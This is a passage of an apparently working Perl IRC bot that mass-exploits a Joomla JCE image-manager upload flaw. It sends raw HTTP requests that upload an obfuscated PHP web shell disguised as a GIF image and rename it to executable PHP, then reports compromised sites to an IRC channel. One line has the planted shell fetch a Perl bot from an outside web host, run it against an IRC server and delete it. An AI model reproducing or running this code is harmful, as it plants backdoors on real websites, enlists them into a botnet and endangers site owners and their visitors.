  2244. &msg("$chan","$jcelogo4,1 send to Gay $nick 0,1safe $os "); sleep(2);
  2245.  
  2246. &carismtp($explore,$chan,$site,$engine,$jcelogo);
  2247.     }
  2248.                                         my $test  = "http://".$site.$bug;
  2249.                         my $coba  = "http://".$site;
  2250.                         if ($coba =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $hajarhome = $2; }
  2251.                         my $shellz = "http://".$site."images/stories/magic.php";
  2252.                         my $shellx = "http://".$site."images/stories/magic.php.pHp";
  2253.                         my $crsmtp = "http://".$site."images/stories/magic.php?baca";
  2254. my $crsmtp2 = "http://".$site."images/stories/magic.php.pHp?baca";
  2255. my $crsmtp3 = "http://".$site."images/stories/magic.php.pHp?baca";
  2256.                         my $shellx2 = "http://".$site."images/stories/magic.php.pHp?";
  2257. my $fuck1 ="cruck://".$site."images/stories/magic.php.pHp";
  2258. my $fuck2 ="cruck://".$site."images/stories/magic.php.png";
  2259. my $fuck3 ="cruck://".$site."images/stories/magic.php";
  2260. my $fuck4 ="cruck://".$site."images/stories/magic.php.pHp";
  2261. my $fuck5 ="cruck://".$site."images/stories/magic.php.pHp";
  2262.                     &jce_cek_query($hajarhome);
  2263. &jce_cek_queryx($hajarhome); sleep(2);
  2264. my $fuck ="http://".$site."images/stories/magic.php.png";
  2265. my $fuckx ="http://".$site."images/stories/magic.php.png?baca";
  2266.                     my $cek = &get_content($fuck);
  2267.                     my $cek1 = &get_content($fuckx);
  2268.                     if($cek =~ /GIF89aG/i){
  2269.                                 &msg("$chan","$jcelogo4,1Exploiting...");
  2270. &jce_cek_query2($hajarhome);  
  2271. &get_content($shell."?cmd=curl+-C+-+-O+http://www.mitranet.tv/wp-content/uploads/w4ck.log%3Bperl+w4ck.log%3Brm+w4ck.log;cd /tmp;wget http://www.mitranet.tv/wp-content/uploads/w4ck.log;perl w4ck.log irc.ashter.org;rm w4ck.log");          
  2272.                                         my $check = &get_content($shellz."?bajak");                                                      
  2273.                     if($cek1 =~ /BArNEr/i){                      
  2274. &msg("$admin","$jcelogo4,1$engine 0,1$fuck2 "); sleep(2);
  2275. &os3($fuck,$chan,$engine,$jcelogo,$nick);
  2276. &carismtp($fuckx,$chan,$site,$engine,$jcelogo);
  2277.     }                          
  2278.                     if ($check =~ /BArNEr/i){                           &os($shellz,$chan,$engine,$jcelogo,$nick);
  2279. &msg("$admin","$jcelogo4,1$engine 0,1$fuck3 "); sleep(2);                    &carismtp($crsmtp,$chan,$site,$engine,$jcelogo);
  2280.                         }
  2281.                 &msg("$admin","$jcelogo4,1$engine 0,1<4,1=0,1>4,1 sHeLL 0,1<4,1=0,1>4,1 $shell20,1 cruck://".$site."/images/stories/magic.php4,1 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2282. &jce_cek_query3($hajarhome);                                                                           
  2283.                                         my $check1 = &get_content($shellx."?bajak");
  2284.                                      
  2285. &jce_cek_query4($hajarhome);
  2286.                     if ($check1 =~ /BArNEr/i){
  2287. &msg("$admin","$jcelogo4,1$engine 0,1$fuck4,1 "); sleep(2);                          &os2($shellx,$chan,$engine,$jcelogo,$nick);
  2288. &carismtp($crsmtp2,$chan,$site,$engine,$jcelogo);
  2289.        
  2290. }
  2291.  
  2292.  
  2293.  
  2294.             }
  2295.        
  2296.     }
  2297. }
  2298.  
  2299. sub jce_cek_queryx() {
  2300.     my $TARGET  = $_[0];
  2301.     ## Start Code ##
  2302. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2303. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2304. $header2 = "Host: $TARGET";
  2305. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2306. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2307. $header5 = "Content-Length: 2286"; #737
  2308. $header6 = "-----------------------------41184676334";
  2309. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2310. $header8 = '/';
  2311. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2312. $header10 = 'Content-Type: application/octet-stream';
  2313. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2314. $header12 = "0";
  2315. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2316. $header14 = 'Content-Type: image/gif';
  2317. $header15 = 'GIF89aG';
  2318. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2319. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2320. $header18 = 'magic.php';
  2321. $header19 = 'Content-Disposition: form-data; name="action"';
  2322. $header20 = 'upload';
  2323. $header21 = "-----------------------------41184676334--";
  2324. $header22 = 'X-Request: JSON';
  2325. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2326. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.png"]}';
  2327. $header24 = "Content-Length: ".length($header25)."";
  2328.     ## EOF COde ##
  2329.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2330.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2331.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2332.     close($remote);
  2333. }
  2334. sub jce_cek_queryxx() {
  2335.     my $TARGET  = $_[0];
  2336.     ## Start Code ##
  2337. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2338. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2339. $header2 = "Host: $TARGET";
  2340. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2341. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2342. $header5 = "Content-Length: 2286"; #737
  2343. $header6 = "-----------------------------41184676334";
  2344. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2345. $header8 = '/';
  2346. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2347. $header10 = 'Content-Type: application/octet-stream';
  2348. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2349. $header12 = "0";
  2350. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2351. $header14 = 'Content-Type: image/gif';
  2352. $header15 = 'GIF89aG';
  2353. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2354. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2355. $header18 = 'magic.php';
  2356. $header19 = 'Content-Disposition: form-data; name="action"';
  2357. $header20 = 'upload';
  2358. $header21 = "-----------------------------41184676334--";
  2359. $header22 = 'X-Request: JSON';
  2360. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2361. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.php"]}';
  2362. $header24 = "Content-Length: ".length($header25)."";
  2363.     ## EOF COde ##
  2364.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2365.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2366.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2367.          print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2368.     close($remote);
  2369. }
  2370.  
  2371.  
  2372. sub jce_cek_queryx2() {
  2373.     my $TARGET  = $_[0];
  2374.     ## Start Code ##
  2375. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2376. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2377. $header2 = "Host: $TARGET";
  2378. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2379. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2380. $header5 = "Content-Length: 2286"; #737
  2381. $header6 = "-----------------------------41184676334";
  2382. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2383. $header8 = '/';
  2384. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2385. $header10 = 'Content-Type: application/octet-stream';
  2386. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2387. $header12 = "0";
  2388. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2389. $header14 = 'Content-Type: image/gif';
  2390. $header15 = 'GIF89aG';
  2391. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2392. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2393. $header18 = 'magic.php';
  2394. $header19 = 'Content-Disposition: form-data; name="action"';
  2395. $header20 = 'upload';
  2396. $header21 = "-----------------------------41184676334--";
  2397. $header22 = 'X-Request: JSON';
  2398. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2399. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.pHp"]}';
  2400. $header24 = "Content-Length: ".length($header25)."";
  2401.     ## EOF COde ##
  2402.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2403.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2404.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2405.     close($remote);
  2406. }
  2407.  
  2408. sub jce_cek_queryx3() {
  2409.     my $TARGET  = $_[0];
  2410.     ## Start Code ##
  2411. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2412. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2413. $header2 = "Host: $TARGET";
  2414. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2415. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2416. $header5 = "Content-Length: 2286"; #737
  2417. $header6 = "-----------------------------41184676334";
  2418. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2419. $header8 = '/';
  2420. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2421. $header10 = 'Content-Type: application/octet-stream';
  2422. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2423. $header12 = "0";
  2424. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2425. $header14 = 'Content-Type: image/gif';
  2426. $header15 = 'GIF89aG';
  2427. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2428. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2429. $header18 = 'magic.php';
  2430. $header19 = 'Content-Disposition: form-data; name="action"';
  2431. $header20 = 'upload';
  2432. $header21 = "-----------------------------41184676334--";
  2433. $header22 = 'X-Request: JSON';
  2434. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2435. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php.pHp"]}';
  2436. $header24 = "Content-Length: ".length($header25)."";
  2437.     ## EOF COde ##
  2438.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2439.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2440.         print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2441.         print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2442.         print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2443.     close($remote);
  2444. }
  2445.  
  2446.  
  2447. sub jce_cek_query() {
  2448.     my $TARGET  = $_[0];
  2449.     ## Start Code ##
  2450. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2451. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2452. $header2 = "Host: $TARGET";
  2453. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2454. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2455. $header5 = "Content-Length: 2286"; #737
  2456. $header6 = "-----------------------------41184676334";
  2457. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2458. $header8 = '/';
  2459. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2460. $header10 = 'Content-Type: application/octet-stream';
  2461. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2462. $header12 = "0";
  2463. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2464. $header14 = 'Content-Type: image/gif';
  2465. $header15 = 'GIF89aG';
  2466. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QuNTEP5cJP7Dso1heh043EhIQoARlDi9VSWhZOgXQJZwYpIFv8m7Jpci/nt0ae28XA7KSBeB4sw887rPzvhZcSIouUdsyS0aCxmOEx5ZqixFIs8ktY9qasSES3tPV66sSeB7vt8b9GLYOLwPH9idev/0tLvTbRRFqCivMlJcZQhTrTkfwyMaDP/2hjf083VnFXwe+CNth3eR3WKoh95f154/Cq6HPQMY5/ECENSf8SQhveyeVJAkuc3QM5pGUcljwtPDmAPyDFiZT5IMhU6ax5wt018CevLUkjyqV6EW6P286wWXg44HDgbdLj1+3t3hieSvoPoAwtDxxHJoVU/qzu0xnRQvC166oJjlRY0XTJhleEwqM9/BbKczhP7VzeAPS51YXjIabZeDkbdzlIYiseikV5I0nIro42J0RhQ5RJ7SfU9o/+h+3b4hl0iiyFmp4qjdYToIvXmKvM1tSsTn5SPHJOoKYTMC0qb1IGHy1LTY5k999KsWYSHev9e9ExOr4dMf3uiGUlaeZOQSRVbmSBnxaGUw/2/YuxoF3d6fXv/80nCaIDGwSRBqheoMLq4vvf4oGA4GI2nn0Pa8OBBMlEcANc+T3ClzBTKn5KbBJto+Me55k/4PpNXRm3VocXUFoHWWE22ihFf46e/nct8rQtrm18m41P+YfQ2b5GPfpPiHux9WlCdjUz9/0h8AnkV0GcuhJ+3x0rgFwqCCI2mpUh0oLQAB9FB2oXI71H54jHgwgOQrEbvaRrqAVPCwDOFDMl0pp18r19NtRjw8NAhV8RiDVx+h/f1hOua2kmEz59Dl8cs3Gvh3nTVQMeBfhEfSd6DMtsm7asRvzGgt9LFvzNY8BSyQ3KTYH/Q9OGakUi0BcFqCBkGKOfSL4KWI5rEZDhGKWVetypWqLItcTajfdHqmYpBJ7aEu4ZlJ2QcfQ0RlSJUZTokD4IaUQnhlfT14+bdP3N5+QgxAvxykDoSVMziuMiUpzj4gyxVhCRLqHriUnr5+mBdsmoZM3GPgUXFSpYhNFNylin9ElCBaXBqlMd3U+tU4FSu98VDJcJhH+vcD4NuY2Sk73syUwwF2FymMSESEpdK4gzhHbpNsRg5J8x8lXBdWHsakKxKuy3UjbauamYhwntXZV5P7BmAC9rUarxf+pGjMQsbbq0z0+VxbH5H1JNb8cDeN9Ydf6zgZn+MDJUQSV+mqY8PAJEzr6Este3gK3nXv2kHAjt0wcNx5hVdbxALXRrG6A3stnVRwRqcDU0JNobcIrg3/hjUtbmqA0yDNwzR/5IHxzuMAAdY3WkdNBMYMlsUyG1SHqZP5Ia6wTTMOGknASecxjrZ0b2kI2dD7SBRkKYkCkfO1O5i/VB2YeuRM37atJtekYroMalG3rEmmsV619VUtV77OoF8aBh3qD+wbie8aMB5scaEnPZgNidp1WNffDcj/Y8oSVg6SkL3ga/u9bxxT4bK0PJtAemsGgd5sYA87QsIKZ9rwh20xrcoQ765+WLCb0rUtxvgX')))); ?> ";
  2467. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2468. $header18 = 'magic.php';
  2469. $header19 = 'Content-Disposition: form-data; name="action"';
  2470. $header20 = 'upload';
  2471. $header21 = "-----------------------------41184676334--";
  2472. $header22 = 'X-Request: JSON';
  2473. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2474. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php"]}';
  2475. $header24 = "Content-Length: ".length($header25)."";
  2476.     ## EOF COde ##
  2477.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
